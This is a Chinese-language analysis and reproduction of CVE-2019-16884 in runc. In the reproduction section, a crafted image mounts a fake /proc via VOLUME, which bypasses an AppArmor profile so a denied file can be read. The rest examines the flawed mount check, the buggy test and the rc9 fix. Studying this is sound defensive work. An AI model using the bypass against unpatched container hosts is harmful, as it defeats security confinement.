CVE-2019-16884分析与复现
tags: container,cve,漏洞分析
CVE-2019-16884分析与复现
一、基本信息
条目 | 详情 | 备注 |
---|---|---|
项目地址 | https://github.com/opencontainers/runc | |
发布日期 | 2019-09-25 | |
CVE-ID | CVE-2019-16884 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884 |
EDB-ID | \ | \ |
exploits | https://twitter.com/adam_iwaniuk/status/1175741830136291328 https://gist.github.com/leoluk/2513b6bbff8aa5cd623f3d7d7f20871a |
|
cvedetails | https://www.cvedetails.com/cve/CVE-2019-16884/ | \ |
影响范围 | runc <= 1.0.0-rc8 | |
修复版本 | 1.0.0-rc9 | d736ef14f0288d6993a1845745d6756cfc9ddd5a |
CVSS | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
二、runc简介
runc是一个根据OCI规范实现的CLI工具,用于生成和运行容器,docker的runtime使用的就是runc。
三、漏洞简介
1. 简介
在容器镜像中可以声明一个VOLUME, 挂载至/proc, 欺骗runc使其认为AppArmor已经成功应用,从而绕过AppArmor策略。
这个漏洞由Adam Iwaniuk发现,并在DragonSector CTF 2019期间披露。
这个CTF题目挑战将一个文件挂载到/flag-<random>
,并使用 AppArmor 策略拒绝访问该文件。选手可以利用这个漏洞来禁用这个策略并读取文件。
2. 影响
- 绕过docker-default规则,具体规则参见https://github.com/moby/moby/blob/master/profiles/apparmor/template.go
- 绕过额外配置的apparmor规则
- 该漏洞也影响selinux
// TODO
四、漏洞复现
1. 复现环境
$ docker run -ti ssst0n3/docker_archive:CVE-2019-16884
...
ubuntu login: root
Password: root
...
root@ubuntu:~#
2. 复现
创建apparmor规则
cat > /etc/apparmor.d/no_flag <<EOF
#include <tunables/global>
profile no_flag flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
file,
deny /flag r,
}
EOF
应用规则
/sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag
启动一个正常镜像,无权限读取/flag内容
# docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag busybox cat /flag
cat: can't open '/flag': Permission denied
利用漏洞启用一个恶意镜像,可以读取/flag
mkdir -p rootfs/proc/self/{attr,fd}
touch rootfs/proc/self/{status,attr/exec}
touch rootfs/proc/self/fd/{4,5}
cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /
VOLUME /proc
EOF
docker build -t apparmor-bypass .
# docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag apparmor-bypass cat /flag
11111111
docker: Error response from daemon: cannot start a stopped process: unknown.
// TODO: selinux
五、漏洞分析
leoluk作为CTF比赛期间唯一解出本题的选手, 向runc报告了此漏洞,并作出了分析。
根据docker中apparmor的加载过程,我们知道runc在应用AppArmor策略时,是通过向/proc/self/attr/exec
写入exec <Profile Name>
实现的。
// Under AppArmor you can only change your own attr, so use /proc/self/
// instead of /proc/<tid>/ like libapparmor does
path := fmt.Sprintf("/proc/self/attr/%s", attr)
procfs是一个伪文件系统,实际是由内核虚拟的文件系统。因此如果我们可以控制/proc
,则实际的AppArmor策略就不会被内核应用。
事实上,runc在挂载时有做黑名单校验,不允许挂载的目的路径为/proc
if dest, err = securejoin.SecureJoin(rootfs, m.Destination); err != nil {
return err
}
if err := checkMountDestination(rootfs, dest); err != nil {
return err
}
// checkMountDestination checks to ensure that the mount destination is not over the top of /proc.
// dest is required to be an abs path and have any symlinks resolved before calling this function.
func checkMountDestination(rootfs, dest string) error {
invalidDestinations := []string{
"/proc",
}
但是在具体校验过程中,有一个严重的逻辑错误。下面这段代码是完全放通目的路径为/proc的情况的。 https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/rootfs_linux.go#L492-L500
for _, invalid := range invalidDestinations {
path, err := filepath.Rel(filepath.Join(rootfs, invalid), dest)
if err != nil {
return err
}
if path != "." && !strings.HasPrefix(path, "..") {
return fmt.Errorf("%q cannot be mounted because it is located inside %q", dest, invalid)
}
}
测试代码如下:
func TestRel(t *testing.T) {
path, err := filepath.Rel(filepath.Join("/root", "/proc"), "/root/proc")
assert.NoError(t, err)
assert.Equal(t, ".", path)
}
原因是这段代码缺少了关于path=="."
的判断。
在这个函数对应的测试用例中,err == nil
也错写成了err != nil
,所以导致在开发/测试阶段未发现此问题。
https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/rootfs_linux_test.go#L19-L25
func TestCheckMountDestOnProcChroot(t *testing.T) {
dest := "/rootfs/proc/"
err := checkMountDestination("/rootfs", dest)
if err != nil {
t.Fatal("destination inside proc when using chroot should not return an error")
}
}
值得注意的是,该测试用例在最新的代码中仍然存在逻辑错误。 https://github.com/opencontainers/runc/blob/master/libcontainer/rootfs_linux_test.go#L19-L25
六、漏洞修复分析
1. 修复分析
https://github.com/opencontainers/runc/compare/7507c64ff675606c5ff96b0dd8889a60c589f14d...v1.0.0-rc9
这个漏洞的修复涉及好几个commit,其中最关键的修改是增加了对操作路径是否是procfs的判断: 1.在执行mount操作前,检查目的路径是否为/proc或位于/proc下, 如果是,则必须为procfs
https://github.com/opencontainers/runc/blob/v1.0.0-rc9/libcontainer/rootfs_linux.go#L464-L518
// checkProcMount checks to ensure that the mount destination is not over the top of /proc.
// dest is required to be an abs path and have any symlinks resolved before calling this function.
//
// if source is nil, don't stat the filesystem. This is used for restore of a checkpoint.
func checkProcMount(rootfs, dest, source string) error {
const procPath = "/proc"
// White list, it should be sub directories of invalid destinations
validDestinations := []string{
// These entries can be bind mounted by files emulated by fuse,
// so commands like top, free displays stats in container.
"/proc/cpuinfo",
"/proc/diskstats",
"/proc/meminfo",
"/proc/stat",
"/proc/swaps",
"/proc/uptime",
"/proc/loadavg",
"/proc/net/dev",
}
for _, valid := range validDestinations {
path, err := filepath.Rel(filepath.Join(rootfs, valid), dest)
if err != nil {
return err
}
if path == "." {
return nil
}
}
path, err := filepath.Rel(filepath.Join(rootfs, procPath), dest)
if err != nil {
return err
}
// pass if the mount path is located outside of /proc
if strings.HasPrefix(path, "..") {
return nil
}
if path == "." {
// an empty source is pasted on restore
if source == "" {
return nil
}
// only allow a mount on-top of proc if it's source is "proc"
isproc, err := isProc(source)
if err != nil {
return err
}
// pass if the mount is happening on top of /proc and the source of
// the mount is a proc filesystem
if isproc {
return nil
}
return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest)
}
return fmt.Errorf("%q cannot be mounted because it is inside /proc", dest)
}
2.在向/proc/self/attr/exec写入label前,校验该文件是否是procfs:
https://github.com/opencontainers/runc/blob/v1.0.0-rc9/libcontainer/apparmor/apparmor.go#L35
func setProcAttr(attr, value string) error {
// Under AppArmor you can only change your own attr, so use /proc/self/
// instead of /proc/<tid>/ like libapparmor does
path := fmt.Sprintf("/proc/self/attr/%s", attr)
f, err := os.OpenFile(path, os.O_WRONLY, 0)
if err != nil {
return err
}
defer f.Close()
if err := utils.EnsureProcHandle(f); err != nil {
return err
}
_, err = fmt.Fprintf(f, "%s", value)
return err
}
https://github.com/opencontainers/runc/blob/v1.0.0-rc9/libcontainer/utils/utils_unix.go#L13-L23
// EnsureProcHandle returns whether or not the given file handle is on procfs.
func EnsureProcHandle(fh *os.File) error {
var buf unix.Statfs_t
if err := unix.Fstatfs(int(fh.Fd()), &buf); err != nil {
return fmt.Errorf("ensure %s is on procfs: %v", fh.Name(), err)
}
if buf.Type != unix.PROC_SUPER_MAGIC {
return fmt.Errorf("%s is not on procfs", fh.Name())
}
return nil
}
2. 当前修复局限性
以上的修复方法建立在一些前置条件上:
- 容器内至多有一个procfs挂载点
- paas类应用不会允许用户挂在procfs
经过一些尝试,暂时未能在新版本利用此漏洞,但是如果前置条件被打破,可能会有一些意料之外的收获。
六、总结
这是一个很有启发的漏洞:
- runc的源码中有一些测试用例存在逻辑错误,可能导致一些逻辑漏洞无法在开发/测试阶段发现
- apparmor和selinux的开启方式为,向procfs写入label,攻击者只需要阻止写入的过程即可避免LSM开启。类似的攻击手法可能在其他安全机制中也存在
- 本漏洞亦体现了procfs的特殊性,理解procfs的细节特性可能有助于挖掘类似漏洞